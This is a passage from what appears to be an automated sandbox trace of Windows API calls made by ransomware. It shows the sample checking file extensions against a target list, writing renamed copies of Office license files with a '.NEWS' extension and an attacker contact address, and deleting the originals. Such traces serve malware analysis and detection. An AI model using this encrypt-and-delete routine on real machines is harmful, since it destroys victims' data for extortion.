Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0189.442] lstrlenW (lpString=".dbf") returned 4 [0189.442] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0189.442] lstrlenW (lpString=".1cd") returned 4 [0189.442] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0189.442] lstrlenW (lpString=".jpg") returned 4 [0189.442] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0189.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0189.442] lstrlenW (lpString=".doc") returned 4 [0189.442] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.442] lstrlenW (lpString=".docx") returned 5 [0189.442] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.442] lstrlenW (lpString=".pdf") returned 4 [0189.442] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.442] lstrlenW (lpString=".xls") returned 4 [0189.442] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.442] lstrlenW (lpString=".xlsx") returned 5 [0189.442] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.442] lstrlenW (lpString=".ppt") returned 4 [0189.442] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0189.442] lstrlenW (lpString=".zip") returned 4 [0189.442] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.442] lstrlenW (lpString=".rar") returned 4 [0189.442] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.443] lstrlenW (lpString=".bz2") returned 4 [0189.443] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.443] lstrlenW (lpString=".7z") returned 3 [0189.443] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0189.443] lstrlenW (lpString=".dbf") returned 4 [0189.443] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0189.443] lstrlenW (lpString=".1cd") returned 4 [0189.443] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.443] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Retail-ul-phn.xrm-ms") returned 77 [0189.443] lstrlenW (lpString=".jpg") returned 4 [0189.443] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.443] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.443] lstrlenW (lpString="MondoR_Subscription-pl.xrm-ms") returned 29 [0189.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0189.444] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=11167) returned 1 [0189.444] CloseHandle (hObject=0x404) returned 1 [0189.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms")) returned 0x220 [0189.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0189.445] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.445] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0189.446] GetLastError () returned 0x0 [0189.446] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x2b9f, lpOverlapped=0x0) returned 1 [0189.447] WriteFile (in: hFile=0x56c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x2ba0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x2ba0, lpOverlapped=0x0) returned 1 [0189.449] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.449] WriteFile (in: hFile=0x56c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x10e, lpOverlapped=0x0) returned 1 [0189.449] SetEndOfFile (hFile=0x56c) returned 1 [0189.449] CloseHandle (hObject=0x56c) returned 1 [0189.449] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.449] SetEndOfFile (hFile=0x404) returned 1 [0189.490] CloseHandle (hObject=0x404) returned 1 [0189.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.490] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription-pl.xrm-ms")) returned 1 [0189.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0189.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0189.492] lstrlenW (lpString=".doc") returned 4 [0189.492] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.492] lstrlenW (lpString=".docx") returned 5 [0189.492] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.492] lstrlenW (lpString=".pdf") returned 4 [0189.492] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.492] lstrlenW (lpString=".xls") returned 4 [0189.492] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.492] lstrlenW (lpString=".xlsx") returned 5 [0189.492] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.492] lstrlenW (lpString=".ppt") returned 4 [0189.492] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0189.492] lstrlenW (lpString=".zip") returned 4 [0189.492] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.492] lstrlenW (lpString=".rar") returned 4 [0189.492] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.492] lstrlenW (lpString=".bz2") returned 4 [0189.492] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.492] lstrlenW (lpString=".7z") returned 3 [0189.492] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0189.492] lstrlenW (lpString=".dbf") returned 4 [0189.492] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0189.492] lstrlenW (lpString=".1cd") returned 4 [0189.492] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0189.493] lstrlenW (lpString=".jpg") returned 4 [0189.493] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0189.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0189.493] lstrlenW (lpString=".doc") returned 4 [0189.493] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.493] lstrlenW (lpString=".docx") returned 5 [0189.493] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.493] lstrlenW (lpString=".pdf") returned 4 [0189.493] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.493] lstrlenW (lpString=".xls") returned 4 [0189.493] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.493] lstrlenW (lpString=".xlsx") returned 5 [0189.493] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.493] lstrlenW (lpString=".ppt") returned 4 [0189.493] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0189.493] lstrlenW (lpString=".zip") returned 4 [0189.493] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.493] lstrlenW (lpString=".rar") returned 4 [0189.493] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.493] lstrlenW (lpString=".bz2") returned 4 [0189.493] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.493] lstrlenW (lpString=".7z") returned 3 [0189.493] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0189.493] lstrlenW (lpString=".dbf") returned 4 [0189.493] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0189.493] lstrlenW (lpString=".1cd") returned 4 [0189.493] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription-pl.xrm-ms") returned 79 [0189.494] lstrlenW (lpString=".jpg") returned 4 [0189.494] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.494] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.494] lstrlenW (lpString="MondoR_Subscription2-pl.xrm-ms") returned 30 [0189.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0189.495] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=11171) returned 1 [0189.495] CloseHandle (hObject=0x404) returned 1 [0189.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms")) returned 0x220 [0189.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0189.496] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.496] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0189.497] GetLastError () returned 0x0 [0189.497] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x2ba3, lpOverlapped=0x0) returned 1 [0189.499] WriteFile (in: hFile=0x56c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0189.500] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.500] WriteFile (in: hFile=0x56c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x110, lpOverlapped=0x0) returned 1 [0189.500] SetEndOfFile (hFile=0x56c) returned 1 [0189.500] CloseHandle (hObject=0x56c) returned 1 [0189.500] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.500] SetEndOfFile (hFile=0x404) returned 1 [0189.504] CloseHandle (hObject=0x404) returned 1 [0189.504] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.505] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-pl.xrm-ms")) returned 1 [0189.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0189.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0189.506] lstrlenW (lpString=".doc") returned 4 [0189.506] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.506] lstrlenW (lpString=".docx") returned 5 [0189.506] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.506] lstrlenW (lpString=".pdf") returned 4 [0189.506] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.506] lstrlenW (lpString=".xls") returned 4 [0189.506] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.506] lstrlenW (lpString=".xlsx") returned 5 [0189.506] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.506] lstrlenW (lpString=".ppt") returned 4 [0189.506] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0189.506] lstrlenW (lpString=".zip") returned 4 [0189.506] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.506] lstrlenW (lpString=".rar") returned 4 [0189.506] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.506] lstrlenW (lpString=".bz2") returned 4 [0189.506] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.506] lstrlenW (lpString=".7z") returned 3 [0189.506] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0189.506] lstrlenW (lpString=".dbf") returned 4 [0189.507] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0189.507] lstrlenW (lpString=".1cd") returned 4 [0189.507] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0189.507] lstrlenW (lpString=".jpg") returned 4 [0189.507] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0189.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0189.507] lstrlenW (lpString=".doc") returned 4 [0189.507] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.507] lstrlenW (lpString=".docx") returned 5 [0189.507] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.507] lstrlenW (lpString=".pdf") returned 4 [0189.507] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.507] lstrlenW (lpString=".xls") returned 4 [0189.507] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.507] lstrlenW (lpString=".xlsx") returned 5 [0189.507] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.507] lstrlenW (lpString=".ppt") returned 4 [0189.507] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0189.507] lstrlenW (lpString=".zip") returned 4 [0189.507] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.507] lstrlenW (lpString=".rar") returned 4 [0189.507] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.507] lstrlenW (lpString=".bz2") returned 4 [0189.507] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.507] lstrlenW (lpString=".7z") returned 3 [0189.507] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0189.507] lstrlenW (lpString=".dbf") returned 4 [0189.508] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0189.508] lstrlenW (lpString=".1cd") returned 4 [0189.508] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-pl.xrm-ms") returned 80 [0189.508] lstrlenW (lpString=".jpg") returned 4 [0189.508] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.508] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.508] lstrlenW (lpString="MondoR_Subscription2-ppd.xrm-ms") returned 31 [0189.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0189.509] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=32362) returned 1 [0189.509] CloseHandle (hObject=0x404) returned 1 [0189.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms")) returned 0x220 [0189.509] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0189.510] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.510] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0189.511] GetLastError () returned 0x0 [0189.511] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x7e6a, lpOverlapped=0x0) returned 1 [0189.513] WriteFile (in: hFile=0x56c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x7e70, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x7e70, lpOverlapped=0x0) returned 1 [0189.515] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.515] WriteFile (in: hFile=0x56c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x112, lpOverlapped=0x0) returned 1 [0189.515] SetEndOfFile (hFile=0x56c) returned 1 [0189.515] CloseHandle (hObject=0x56c) returned 1 [0189.515] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.515] SetEndOfFile (hFile=0x404) returned 1 [0189.519] CloseHandle (hObject=0x404) returned 1 [0189.519] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.519] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ppd.xrm-ms")) returned 1 [0189.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0189.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0189.522] lstrlenW (lpString=".doc") returned 4 [0189.522] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.522] lstrlenW (lpString=".docx") returned 5 [0189.522] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.522] lstrlenW (lpString=".pdf") returned 4 [0189.522] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.522] lstrlenW (lpString=".xls") returned 4 [0189.522] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.522] lstrlenW (lpString=".xlsx") returned 5 [0189.522] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.522] lstrlenW (lpString=".ppt") returned 4 [0189.522] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ppd.xrm-ms") returned 81 [0189.522] lstrlenW (lpString=".zip") returned 4 [0189.522] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.522] lstrlenW (lpString=".rar") returned 4 [0189.522] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.522] lstrlenW (lpString=".bz2") returned 4 [0189.522] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.522] lstrlenW (lpString=".7z") returned 3 [0189.522] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 